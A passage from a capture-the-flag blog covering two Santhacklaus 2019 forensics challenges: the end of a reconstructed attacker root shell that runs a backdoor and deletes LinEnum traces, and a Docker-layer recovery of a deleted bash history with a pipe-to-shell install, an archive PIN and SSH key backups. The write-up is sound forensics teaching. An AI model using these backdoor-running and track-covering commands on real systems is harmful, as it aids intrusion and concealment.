<span class="o">-</span><span class="n">rwxrwxr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">1346</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">26</span> <span class="n">apache2</span><span class="o">-</span><span class="n">foreground</span>
<span class="o">-</span><span class="n">rwxrwxr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">133</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">26</span> <span class="n">docker</span><span class="o">-</span><span class="n">php</span><span class="o">-</span><span class="n">entrypoint</span>
<span class="o">-</span><span class="n">rwxrwxr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">1418</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">26</span> <span class="n">docker</span><span class="o">-</span><span class="n">php</span><span class="o">-</span><span class="n">ext</span><span class="o">-</span><span class="n">configure</span>
<span class="o">-</span><span class="n">rwxrwxr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">2571</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">26</span> <span class="n">docker</span><span class="o">-</span><span class="n">php</span><span class="o">-</span><span class="n">ext</span><span class="o">-</span><span class="n">enable</span>
<span class="o">-</span><span class="n">rwxrwxr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">2392</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">26</span> <span class="n">docker</span><span class="o">-</span><span class="n">php</span><span class="o">-</span><span class="n">ext</span><span class="o">-</span><span class="n">install</span>
<span class="o">-</span><span class="n">rwxrwxr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">587</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">26</span> <span class="n">docker</span><span class="o">-</span><span class="n">php</span><span class="o">-</span><span class="n">source</span>
<span class="o">-</span><span class="n">rwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">41</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">29</span> <span class="n">freetype</span><span class="o">-</span><span class="n">config</span>
<span class="o">-</span><span class="n">rwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">817</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">29</span> <span class="n">pear</span>
<span class="o">-</span><span class="n">rwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">838</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">29</span> <span class="n">peardev</span>
<span class="o">-</span><span class="n">rwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">751</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">29</span> <span class="n">pecl</span>
<span class="n">lrwxrwxrwx</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">9</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">29</span> <span class="n">phar</span> <span class="o">-></span> <span class="n">phar</span><span class="o">.</span><span class="n">phar</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">www</span><span class="o">-</span><span class="n">data</span> <span class="mi">7634240</span> <span class="n">Nov</span> <span class="mi">20</span> <span class="mi">22</span><span class="p">:</span><span class="mi">02</span> <span class="n">phar</span><span class="o">.</span><span class="n">bak</span>
<span class="o">-</span><span class="n">rwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">14817</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">29</span> <span class="n">phar</span><span class="o">.</span><span class="n">phar</span>
<span class="o">-</span><span class="n">rwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">14077688</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">29</span> <span class="n">php</span>
<span class="o">-</span><span class="n">rwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">2793</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">29</span> <span class="n">php</span><span class="o">-</span><span class="n">config</span>
<span class="o">-</span><span class="n">rwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">14213184</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">29</span> <span class="n">phpdbg</span>
<span class="o">-</span><span class="n">rwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">4559</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">29</span> <span class="n">phpize</span>
<span class="c1"># chmod +x phar.bak</span>
<span class="n">chmod</span> <span class="o">+</span><span class="n">x</span> <span class="n">phar</span><span class="o">.</span><span class="n">bak</span>
<span class="c1"># ls -la</span>
<span class="n">ls</span> <span class="o">-</span><span class="n">la</span>
<span class="n">total</span> <span class="mi">35168</span>
<span class="n">drwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">4096</span> <span class="n">Nov</span> <span class="mi">20</span> <span class="mi">22</span><span class="p">:</span><span class="mi">03</span> <span class="o">.</span>
<span class="n">drwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">4096</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">29</span> <span class="o">..</span>
<span class="o">-</span><span class="n">rwxrwxr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">1346</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">26</span> <span class="n">apache2</span><span class="o">-</span><span class="n">foreground</span>
<span class="o">-</span><span class="n">rwxrwxr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">133</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">26</span> <span class="n">docker</span><span class="o">-</span><span class="n">php</span><span class="o">-</span><span class="n">entrypoint</span>
<span class="o">-</span><span class="n">rwxrwxr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">1418</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">26</span> <span class="n">docker</span><span class="o">-</span><span class="n">php</span><span class="o">-</span><span class="n">ext</span><span class="o">-</span><span class="n">configure</span>
<span class="o">-</span><span class="n">rwxrwxr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">2571</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">26</span> <span class="n">docker</span><span class="o">-</span><span class="n">php</span><span class="o">-</span><span class="n">ext</span><span class="o">-</span><span class="n">enable</span>
<span class="o">-</span><span class="n">rwxrwxr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">2392</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">26</span> <span class="n">docker</span><span class="o">-</span><span class="n">php</span><span class="o">-</span><span class="n">ext</span><span class="o">-</span><span class="n">install</span>
<span class="o">-</span><span class="n">rwxrwxr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">587</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">26</span> <span class="n">docker</span><span class="o">-</span><span class="n">php</span><span class="o">-</span><span class="n">source</span>
<span class="o">-</span><span class="n">rwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">41</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">29</span> <span class="n">freetype</span><span class="o">-</span><span class="n">config</span>
<span class="o">-</span><span class="n">rwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">817</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">29</span> <span class="n">pear</span>
<span class="o">-</span><span class="n">rwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">838</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">29</span> <span class="n">peardev</span>
<span class="o">-</span><span class="n">rwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">751</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">29</span> <span class="n">pecl</span>
<span class="n">lrwxrwxrwx</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">9</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">29</span> <span class="n">phar</span> <span class="o">-></span> <span class="n">phar</span><span class="o">.</span><span class="n">phar</span>
<span class="o">-</span><span class="n">rwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">www</span><span class="o">-</span><span class="n">data</span> <span class="mi">7634240</span> <span class="n">Nov</span> <span class="mi">20</span> <span class="mi">22</span><span class="p">:</span><span class="mi">02</span> <span class="n">phar</span><span class="o">.</span><span class="n">bak</span>
<span class="o">-</span><span class="n">rwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">14817</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">29</span> <span class="n">phar</span><span class="o">.</span><span class="n">phar</span>
<span class="o">-</span><span class="n">rwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">14077688</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">29</span> <span class="n">php</span>
<span class="o">-</span><span class="n">rwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">2793</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">29</span> <span class="n">php</span><span class="o">-</span><span class="n">config</span>
<span class="o">-</span><span class="n">rwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">14213184</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">29</span> <span class="n">phpdbg</span>
<span class="o">-</span><span class="n">rwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">4559</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">29</span> <span class="n">phpize</span>
<span class="c1"># ./phar.bak &</span>
<span class="o">./</span><span class="n">phar</span><span class="o">.</span><span class="n">bak</span> <span class="o">&</span>
<span class="c1"># cd /tmp</span>
<span class="n">cd</span> <span class="o">/</span><span class="n">tmp</span>
<span class="c1"># ls</span>
<span class="n">ls</span>
<span class="n">LinEnum</span><span class="o">-</span><span class="n">export</span><span class="o">-</span><span class="mi">20</span><span class="o">-</span><span class="mi">11</span><span class="o">-</span><span class="mi">19</span> <span class="n">LinEnum</span><span class="o">.</span><span class="n">sh</span> <span class="n">report</span><span class="o">-</span><span class="mi">20</span><span class="o">-</span><span class="mi">11</span><span class="o">-</span><span class="mi">19</span> <span class="n">s</span>
<span class="c1"># rm Lin*</span>
<span class="n">rm</span> <span class="n">Lin</span><span class="o">*</span>
<span class="n">rm</span><span class="p">:</span> <span class="n">cannot</span> <span class="n">remove</span> <span class="s1">'LinEnum-export-20-11-19'</span><span class="p">:</span> <span class="n">Is</span> <span class="n">a</span> <span class="n">directory</span>
<span class="c1"># ls</span>
<span class="n">ls</span>
<span class="n">LinEnum</span><span class="o">-</span><span class="n">export</span><span class="o">-</span><span class="mi">20</span><span class="o">-</span><span class="mi">11</span><span class="o">-</span><span class="mi">19</span> <span class="n">report</span><span class="o">-</span><span class="mi">20</span><span class="o">-</span><span class="mi">11</span><span class="o">-</span><span class="mi">19</span> <span class="n">s</span>
<span class="c1"># rm -rf Lin*</span>
<span class="n">rm</span> <span class="o">-</span><span class="n">rf</span> <span class="n">Lin</span><span class="o">*</span>
<span class="c1"># ls</span>
<span class="n">ls</span>
<span class="n">report</span><span class="o">-</span><span class="mi">20</span><span class="o">-</span><span class="mi">11</span><span class="o">-</span><span class="mi">19</span> <span class="n">s</span>
<span class="c1"># rm repo*</span>
<span class="n">rm</span> <span class="n">repo</span><span class="o">*</span>
<span class="c1"># cd /dev/shm</span>
<span class="n">cd</span> <span class="o">/</span><span class="n">dev</span><span class="o">/</span><span class="n">shm</span>
<span class="c1"># ls</span>
<span class="n">ls</span>
<span class="n">cert</span><span class="o">.</span><span class="n">pem</span>
<span class="c1"># cd /root</span>
<span class="n">cd</span> <span class="o">/</span><span class="n">root</span>
<span class="c1"># ls -la</span>
<span class="n">ls</span> <span class="o">-</span><span class="n">la</span>
<span class="n">total</span> <span class="mi">20</span>
<span class="n">drwx</span><span class="o">------</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">4096</span> <span class="n">Nov</span> <span class="mi">20</span> <span class="mi">21</span><span class="p">:</span><span class="mi">37</span> <span class="o">.</span>
<span class="n">drwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">4096</span> <span class="n">Nov</span> <span class="mi">20</span> <span class="mi">21</span><span class="p">:</span><span class="mi">51</span> <span class="o">..</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">570</span> <span class="n">Jan</span> <span class="mi">31</span> <span class="mi">2010</span> <span class="o">.</span><span class="n">bashrc</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">148</span> <span class="n">Aug</span> <span class="mi">17</span> <span class="mi">2015</span> <span class="o">.</span><span class="n">profile</span>
<span class="o">-</span><span class="n">r</span><span class="o">--------</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">28</span> <span class="n">Nov</span> <span class="mi">20</span> <span class="mi">21</span><span class="p">:</span><span class="mi">36</span> <span class="n">flag</span>
<span class="c1"># exit</span>
<span class="n">exit</span>
<span class="n">www</span><span class="o">-</span><span class="n">data</span><span class="nd">@d58feef475e4</span><span class="p">:</span><span class="o">/</span><span class="n">tmp</span><span class="err">$</span> <span class="n">exit</span>
</code></pre></div>
<p>So the attacker got root because somehow the python2.7 interpreter was setuid. Then we can see he downloaded a file called <code>DRUNK_IKEBANA</code> from his machine, put it in some apache2 directory, and executed it. This really looks like our malicious backdoor, because right after he try to cover a bit of his tracks and exit.</p>
<p>We can actually extract the downloaded file from the stream from Wireshark using the <code>file</code> menu, then <code>Export Objects</code>. Now we need to find an object called <code>DRUNK_IKEBANA</code>, and dump it to disk.</p>
<p>Let’s get it’s sha256sum :</p>
<div class="highlight"><pre><span></span><code>$ sha256sum DRUNK_IKEBANA
daeb4a85965e61870a90d40737c4f97d42ec89c1ece1c9b77e44e6749a88d830 DRUNK_IKEBANA
</code></pre></div>
<p>So the flag should be <strong>SANTA{daeb4a85965e61870a90d40737c4f97d42ec89c1ece1c9b77e44e6749a88d830}</strong>, and it is!</p>
<p>Thanks to <a href="https://twitter.com/maki_mitz">Maki</a> for setting up this cool challenge :D</p>
<script type="text/javascript">if (!document.getElementById('mathjaxscript_pelican_#%@#$@#')) {
var align = "center",
indent = "0em",
linebreak = "false";
if (false) {
align = (screen.width < 768) ? "left" : align;
indent = (screen.width < 768) ? "0em" : indent;
linebreak = (screen.width < 768) ? 'true' : linebreak;
}
var mathjaxscript = document.createElement('script');
mathjaxscript.id = 'mathjaxscript_pelican_#%@#$@#';
mathjaxscript.type = 'text/javascript';
mathjaxscript.src = 'https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.3/latest.js?config=TeX-AMS-MML_HTMLorMML';
var configscript = document.createElement('script');
configscript.type = 'text/x-mathjax-config';
configscript[(window.opera ? "innerHTML" : "text")] =
"MathJax.Hub.Config({" +
" config: ['MMLorHTML.js']," +
" TeX: { extensions: ['AMSmath.js','AMSsymbols.js','noErrors.js','noUndefined.js'], equationNumbers: { autoNumber: 'none' } }," +
" jax: ['input/TeX','input/MathML','output/HTML-CSS']," +
" extensions: ['tex2jax.js','mml2jax.js','MathMenu.js','MathZoom.js']," +
" displayAlign: '"+ align +"'," +
" displayIndent: '"+ indent +"'," +
" showMathMenu: true," +
" messageStyle: 'normal'," +
" tex2jax: { " +
" inlineMath: [ ['\\\\(','\\\\)'] ], " +
" displayMath: [ ['$$','$$'] ]," +
" processEscapes: true," +
" preview: 'TeX'," +
" }, " +
" 'HTML-CSS': { " +
" availableFonts: ['STIX', 'TeX']," +
" preferredFont: 'STIX'," +
" styles: { '.MathJax_Display, .MathJax .mo, .MathJax .mi, .MathJax .mn': {color: 'inherit ! important'} }," +
" linebreaks: { automatic: "+ linebreak +", width: '90% container' }," +
" }, " +
"}); " +
"if ('default' !== 'default') {" +
"MathJax.Hub.Register.StartupHook('HTML-CSS Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax['HTML-CSS'].FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"MathJax.Hub.Register.StartupHook('SVG Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax.SVG.FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"}";
(document.body || document.getElementsByTagName('head')[0]).appendChild(configscript);
(document.body || document.getElementsByTagName('head')[0]).appendChild(mathjaxscript);
}
</script>Santhacklaus 2019 - Naughty Docker [EN]2019-12-17T00:00:00+01:002019-12-17T00:00:00+01:00Antoxydetag:w0nderland.fr,2019-12-17:/santhacklaus-2019-naughty-docker-en.html<p>This was a 350 points forensics challenge at Santhacklaus 2019 CTF. It’s description was as follows :</p>
<div class="highlight"><pre><span></span><code>It looks like a naughty developer has been deploying a Docker image on a Santa production server a few days before Christmas.
He was in a rush and was not able to properly …</code></pre></div><p>This was a 350 points forensics challenge at Santhacklaus 2019 CTF. It’s description was as follows :</p>
<div class="highlight"><pre><span></span><code>It looks like a naughty developer has been deploying a Docker image on a Santa production server a few days before Christmas.
He was in a rush and was not able to properly pass all security checks on the built Docker image.
Would be a shame if this image could give you an SSH access to the production server... http://46.30.204.47"
</code></pre></div>
<p>By browsing the given URL, we come across the following website :</p>
<p><img alt="Naughty Docker website" src="https://w0nderland.fr/images/santhacklaus2019/naughty_docker_website.png"></p>
<p>Let’s pull and run the docker image, using the given command <code>docker run --rm -p 3000:3000 -d santactf/app</code>.</p>
<p>Now we can get a shell within the container using <code>docker ps</code> first to get its id, and then <code>sudo docker exec -u 0 -it de918fe9900e bash</code>, where <code>de918fe9900e</code> is the id we just grabbed.</p>
<p>Be inspecting the filesystem, we understand that there is nothing special in it. There is a basic nodejs server running on the port 3000, simply rendering an Hello world page (and there is a tons of mb of node_modules installed just for this ;-;)</p>
<p>As the description say, in the end we should be able to ssh into the production server which is hosting this container. As there are no other way to interact with this container than the simple webserver, and given that this is a forensics challenge, we should problably look <em>deeper</em>.</p>
<p>Moving on by first looking at how this image was built using the <code>docker history</code> command :</p>
<div class="highlight"><pre><span></span><code>$ sudo docker <span class="nb">history</span> santactf/app
IMAGE CREATED CREATED BY SIZE COMMENT
ddde36e22093 <span class="m">4</span> days ago /bin/sh -c <span class="c1">#(nop) CMD ["node" "server.js"] 0B</span>
<missing> <span class="m">4</span> days ago /bin/sh -c <span class="c1">#(nop) USER node 0B</span>
<missing> <span class="m">4</span> days ago /bin/sh -c <span class="c1">#(nop) COPY file:8b53431519dafa70… 458B</span>
<missing> <span class="m">4</span> days ago /bin/sh -c npm ci <span class="m">5</span>.59MB
<missing> <span class="m">4</span> days ago /bin/sh -c <span class="c1">#(nop) COPY multi:2f093554c78265f… 12.8kB</span>
<missing> <span class="m">4</span> days ago /bin/sh -c <span class="c1">#(nop) WORKDIR /home/node 0B</span>
<missing> <span class="m">4</span> days ago /bin/sh -c <span class="c1">#(nop) EXPOSE 3000 0B</span>
<missing> <span class="m">4</span> days ago /bin/sh -c <span class="c1">#(nop) CMD ["node"] 0B</span>
<missing> <span class="m">4</span> days ago /bin/sh -c <span class="c1">#(nop) ENTRYPOINT ["docker-entry… 0B</span>
<missing> <span class="m">4</span> days ago /bin/sh -c <span class="c1">#(nop) COPY file:6781e799bed1693e… 116B</span>
<missing> <span class="m">4</span> days ago /bin/sh -c ln -s /usr/local/bin/node /usr/lo… 19B
<missing> <span class="m">4</span> days ago /bin/sh -c <span class="nv">ARCH</span><span class="o">=</span> <span class="o">&&</span> <span class="nv">dpkgArch</span><span class="o">=</span><span class="s2">"</span><span class="k">$(</span>dpkg --print… <span class="m">67</span>.2MB
<missing> <span class="m">4</span> days ago /bin/sh -c <span class="c1">#(nop) COPY dir:795933707ce316a31… 18.6kB</span>
<missing> <span class="m">4</span> days ago /bin/sh -c <span class="c1">#(nop) ENV NODE_VERSION=12.13.1 0B</span>
<missing> <span class="m">4</span> days ago /bin/sh -c groupadd --gid <span class="m">1000</span> node <span class="o">&&</span> use… 333kB
<missing> <span class="m">4</span> weeks ago /bin/sh -c <span class="nb">set</span> -ex<span class="p">;</span> apt-get update<span class="p">;</span> apt-ge… 562MB
<missing> <span class="m">4</span> weeks ago /bin/sh -c apt-get update <span class="o">&&</span> apt-get install… 142MB
<missing> <span class="m">4</span> weeks ago /bin/sh -c <span class="nb">set</span> -ex<span class="p">;</span> <span class="k">if</span> ! <span class="nb">command</span> -v gpg > /… <span class="m">7</span>.81MB
<missing> <span class="m">4</span> weeks ago /bin/sh -c apt-get update <span class="o">&&</span> apt-get install… <span class="m">23</span>.2MB
<missing> <span class="m">4</span> weeks ago /bin/sh -c <span class="c1">#(nop) CMD ["bash"] 0B</span>
<missing> <span class="m">4</span> weeks ago /bin/sh -c <span class="c1">#(nop) ADD file:152359c10cf61d800… 101MB</span>
</code></pre></div>
<p>We see that a bunch of files got manually added to the container file systems, and some bash commands were executed. Using the <code>--no-trunc</code> option to get the full output, we stumble upon one suspicious command :</p>
<div class="highlight"><pre><span></span><code>/bin/sh -c ln -s /usr/local/bin/node /usr/local/bin/nodejs <span class="o">&&</span> rm /home/node/.bashrc /home/node/.bash_history <span class="o">&&</span> rm -rf /usr/share/prod-common
</code></pre></div>
<p>It really looks like someone tried to cover his tracks ;).</p>
<p>What if we could retrieve those erased files ? After all, there were accessible at the beginning of the build of the image.</p>
<p>Let’s try to take a look at the image filesystem from the host. Docker actually has a command for that : <code>sudo docker save santactf/app -o santactf_app.tar</code>.</p>
<p>By chmoding and extracting the tarball, we get 13 directories, with three files called <code>layer.tar</code>, <code>json</code> and <code>VERSION</code> in each one.</p>
<p>Extracting the <code>layer.tar</code> of the first directory, we find out that it contains pieces of the actual image’s filesystem. By poking around , we come accross one of the directory called <code>be3d4ffa7682700bcbc51a8655568428c4979c5464169a286208e9e03f7673a5</code>.</p>
<p>Its <code>layer.tar</code> contains the following files:</p>
<div class="highlight"><pre><span></span><code>$ tar xvf layer.tar
home/
home/node/
home/node/.bash_history
home/node/.bashrc
usr/
usr/share/
usr/share/prod-common/
usr/share/prod-common/.wh..wh..opq
usr/share/prod-common/dev_081219_backup.zip
usr/share/prod-common/dev_091219_backup.zip
usr/share/prod-common/dev_101219_backup.zip
usr/share/prod-common/dev_111219_backup.zip
usr/share/prod-common/dev_121219_backup.zip
usr/share/prod-common/dev_131219_backup.zip
usr/share/prod-common/dev_141219_backup.zip
usr/share/prod-common/dev_151219_backup.zip
usr/share/prod-common/dev_161219_backup.zip
</code></pre></div>
<p>Nice ! That looks (com)promising.</p>
<p>Here is the content of <code>.bash_history</code>:</p>
<div class="highlight"><pre><span></span><code>exit
sudo apt-get update
sudo apt-get upgrade
sudo apt-get install git make
curl -sL https://deb.nodesource.com/setup_4.x | sudo -E bash -
sudo apt-get install -y nodejs
sudo apt-get install libavahi-compat-libdnssd-dev
sudo npm install -g --unsafe-perm santa2019 hap-nodejs node-gyp
cd /usr/lib/node_modules/santa2019/
cd /usr/lib/node_modules/hap-nodejs/node_modules/mdns
sudo node-gyp BUILDTYPE=Release rebuild
cd ~
santa2019
sudo npm install -g santa2019-nest
cd ~/.santa2019/
ls
cd accessories/
ls
cd ..
cd persist/
ls
cd ..
nano config.json
santa2019
nano config.json
nano config.json
santa2019
cd /etc/default/
sudo nano santa2019
cd /etc/systemd/system/
sudo nano santa2019.service
useradd --system santa2019
sudo useradd --system santa2019
cd /var
mkdir santa2019
sudo mkdir santa2019
cd santa2019/
cd ..
ls -alF
sudo chmod 777 santa2019
ls -alF
systemctl daemon-reload
sudo systemctl daemon-reload
sudo systemctl enable santa2019
sudo systemctl start santa2019
systemctl status santa2019
sudo raspi-config
vncserver
vncpasswd
vncpasswd -type
nano config.json
santa2019
nano config.json
vncpasswd -type Password
vncpasswd -type "Password"
sudo nano /etc/ssh/sshd_config
sudo service restart ssh
sudo service ssh restart
vncserver -kill :1
sudo service vncserver stop
export ARCHIVE_PIN=25362
ls ~/.ssh
cd ~
ssh-keygen -t rsa -C jmding0714@gmail.com
cd ~/.ssh/
ls
santa2019
nano config.json
santa2019
santa2019
ls
nano config.json
santa2019
nano config.json
santa2019
nano config.json
santa2019
pwd
chmod 777 config.json
santa2019
nano config.json
santa2019
nano config.json
santa2019
ifconfig
nano authorized_keys
ls
rm authorized_keys
sudo nano /etc/modprobe.d/raspi-blacklist.conf
reboot
cd ~
ls
mkdir apps
cd apps
crontab -e
ls
./upload_ip_address.sh
nano upload_ip_address.sh
./upload_ip_address.sh
exit
cd /var/santa2019/
ls
cp ~/.santa2019/config.json config.json
nano config.json
reboot
systemctl santa2019 status
systemctl status santa2019
cd /var/santa2019/
ls
chmod 777 config.json
systemctl status santa2019
sudo chown -R santa2019:santa2019 /var/santa2019
vncserver -kill :1
cd $PRODUCTION_DIR
zip --password "$ARCHIVE_PIN" "$PRODUCTION_BACKUP_FILE" id_santa_production*
vncserver -geometry 800x600
sudo chmod 777 -R /var/santa2019
ls /usr/local/bin/
which santa2019
nano /etc/systemd/system/santa2019.service
sudo nano /etc/systemd/system/santa2019.service
reboot
systemctl status santa2019
journalctl santa2019
santa2019
nano config.json
journalctl -u santa2019
exit
nano ~/.ssh/authorized_keys
ssh -p 5700 rudolf-the-reindeer@46.30.204.47
exit
vncserver
raspi-config
sudo raspi-config
vncserver -kill :1
